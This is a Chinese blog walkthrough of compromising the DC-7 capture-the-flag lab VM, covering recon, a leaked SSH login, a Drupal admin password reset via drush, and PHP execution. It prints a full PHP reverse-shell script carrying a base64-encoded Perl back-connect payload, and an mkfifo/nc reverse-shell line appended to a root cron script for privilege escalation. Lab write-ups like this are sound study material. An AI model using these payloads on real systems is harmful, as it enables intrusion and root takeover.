[渗透实战]:渗透测试实战-DC-7-靶机入侵

[渗透实战]:渗透测试实战-DC-7-靶机入侵

 
信息收集
 
    nmap -A 192.168.1.170 -p- -oN nmap.A
 

image

 
    whatweb 192.168.1.170
 

image

发现其为drupal 框架,尝试使用MSF 对于这个框架最新的几个攻击模块,攻击失败
 
进入80端口开放的网站
 

image

尝试使用谷歌搜索@DC7USER
 

image

 

image

 

image

在这里我们得到账密 [dc7user/MdR3xOgB7#dW]
 
尝试使用 [dc7user/MdR3xOgB7#dW]账密登录
 
    ssh dc7user@192.168.1.170
 

image

ssh 远程登录成功
 

image

 

image

测试是否存在默认用户admin
 

image

 

image

存在admin
 
drush
 
通过查询可知drush 命令可以对任意用户密码进行更改
 
    drush user-password admin --password="123456"
 

image

手动安装 PHP filter 模块
 

image

 

image

 

image

 

image

测试能否执行php 语句
 

image

 

image

编辑,并保存
 

image

执行失败,查看内容发现php语句被修饰
 

image

去掉修饰字符,再次点击提交(save)
 

image

php 语句被执行
 
反弹shell
 

image

php 反弹shell 代码
 
    <?php
     
    function which($pr) {
     
    $path = execute("which $pr");
     
    return ($path ? $path : $pr);
     
    }
     
    function execute($cfe) {
     
    $res = '';
     
    if ($cfe) {
     
    if(function_exists('exec')) {
     
    @exec($cfe,$res);
     
    $res = join("\n",$res);
     
    } elseif(function_exists('shell_exec')) {
     
    $res = @shell_exec($cfe);
     
    } elseif(function_exists('system')) {
     
    @ob_start();
     
    @system($cfe);
     
    $res = @ob_get_contents();
     
    @ob_end_clean();
     
    } elseif(function_exists('passthru')) {
     
    @ob_start();
     
    @passthru($cfe);
     
    $res = @ob_get_contents();
     
    @ob_end_clean();
     
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
     
    $res = '';
     
    while(!@feof($f)) {
     
    $res .= @fread($f,1024);
     
    }
     
    @pclose($f);
     
    }
     
    }
     
    return $res;
     
    }
     
    function cf($fname,$text){
     
    if($fp=@fopen($fname,'w')) {
     
    @fputs($fp,@base64_decode($text));
     
    @fclose($fp);
     
    }
     
    }
     
    $yourip = "your IP";
     
    $yourport = 'your port';
     
    $usedb = array('perl'=>'perl','c'=>'c');
     
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
     
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
     
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
     
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
     
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
     
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
     
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
     
    cf('/tmp/.bc',$back_connect);
     
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
     
    ?>
 
参考自:https://www.jb51.net/article/17844.htm
 
反弹成功
 

image

 
提权
 
在前面我们在dc7user 用户的mail (/var/mail/dc7user)下可以发现存在计划任务
 
    cat /var/mail/dc7user
 

image

 
    查看一下backups.sh 的权限,发现 但当前用户 www-data 用户具有写权限,我们通过写权限在该文件中添加反弹shell 指令,当root 用户根据其系统计划任务执行backups.sh 脚本时,会反弹root 的shell
 

image

在 /opt/scripts 目录下
 
反弹执行代码
 
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.164 1234 >/tmp/f" >> backups.sh
 
等待。。。
 
反弹成功
 

image

拿到flag
 

image

 
posted @ 2021-06-30 17:09  jpSpaceX  阅读(251)  评论(0)    收藏  举报